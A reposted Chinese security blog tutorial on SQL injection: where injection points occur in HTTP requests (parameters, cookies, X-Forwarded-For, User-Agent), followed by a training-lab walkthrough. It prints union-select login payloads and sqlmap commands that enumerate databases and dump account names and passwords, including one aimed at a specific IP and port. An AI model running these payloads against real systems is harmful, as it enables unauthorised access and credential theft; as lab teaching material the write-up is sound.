SQL注入-产生位置+post注入+sqlmap

admin 2024年2月17日19:07:39评论8 views字数 1117阅读3分43秒阅读模式

数据请求方式-GET&POST&COOKIE等

——url没有参数并不代表没有注入,有时会在数据包中,http数据包中每个部分只要可以被接收,都可能产生漏洞

get参数传递位置

SQL注入-产生位置+post注入+sqlmap

post参数传递位置

SQL注入-产生位置+post注入+sqlmap

cookie参数传递位置

SQL注入-产生位置+post注入+sqlmap

request参数传递位置:可以在GET&POST&COOKIE三个位置传递

SQL注入-产生位置+post注入+sqlmap

1.后台要记录访问的ip

IP会写到数据库,如果能自定义ip数据(X_Forwarded_For),就可以尝试sql注入

SQL注入-产生位置+post注入+sqlmap

2.网站根据用户的访问设备给予显示页面

数据库将各种UA信息整理保存,用户访问后数据库会获取用户的UA信息进行对比,涉及到数据库查询操作。就可以更改UA信息进行SQL注入

SQL注入-产生位置+post注入+sqlmap

sql注入案例

实例黑盒-用户登录-POST注入

打开——墨者(mozhe.cn)SQL注入漏洞测试(post)

burp抓取登录包

使用--+测试发现页面报错

SQL注入-产生位置+post注入+sqlmap

使用#测试发现页面正常,说明支持#注释

SQL注入-产生位置+post注入+sqlmap

测试出字段数后,输入' and 1=2 union select 1,2,3#测试显错位,结果直接爆出了key

SQL注入-产生位置+post注入+sqlmap

使用sqlmap工具

sqlmap数据包形式注入

name参数值设置为*name=123*),将数据包保存为1.txt,执行命令:python sqlmap.py -r 1.txt --dbs

依次查询""——""——"字段".

最后查询指定字段数据:

python sqlmap.py -r 1.txt --dump -C "name,password" -T "StormGroup_member" -D "mozhe_Discuz_StormGroup"

SQL注入-产生位置+post注入+sqlmap

成功查询出账号密码

SQL注入-产生位置+post注入+sqlmap

还有一种方式,不用保存数据包,可以直接扫描,就是使用--data参数

--data #通过post发送数据

抓取登录数据包,右键copy要扫描的url,然后将数据包中的两个post参数复制放到--data后面

SQL注入-产生位置+post注入+sqlmap

命令:python sqlmap.py -u "http://124.70.71.251:42179/login.php" --data "name=1&password=1" --dbs 成功爆出数据库

SQL注入-产生位置+post注入+sqlmap

如果在--data后面的其中一个参数加上*号,就只会测试加*号的参数,如果没有加*号就会测试全部参数

当然在这里还是建议使用数据包形式的注入方式,不容易出错。

注入总结:

数据库类型决定——攻击的手法和payload样式

不同数据类型注入——payload要考虑闭合、数据格式

各种提交方式——数据请求不同,注入需要按照指定的方式去测试

网站url没有参数不代表没有注入,有些数据会在数据包才有体现

http数据包任何一个地方只要数据被接收,就可能产生漏洞

原文始发于微信公众号(小黑子安全):SQL注入-产生位置+post注入+sqlmap

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月17日19:07:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入-产生位置+post注入+sqlmaphttps://cn-sec.com/archives/2499017.html

发表评论

匿名网友 填写信息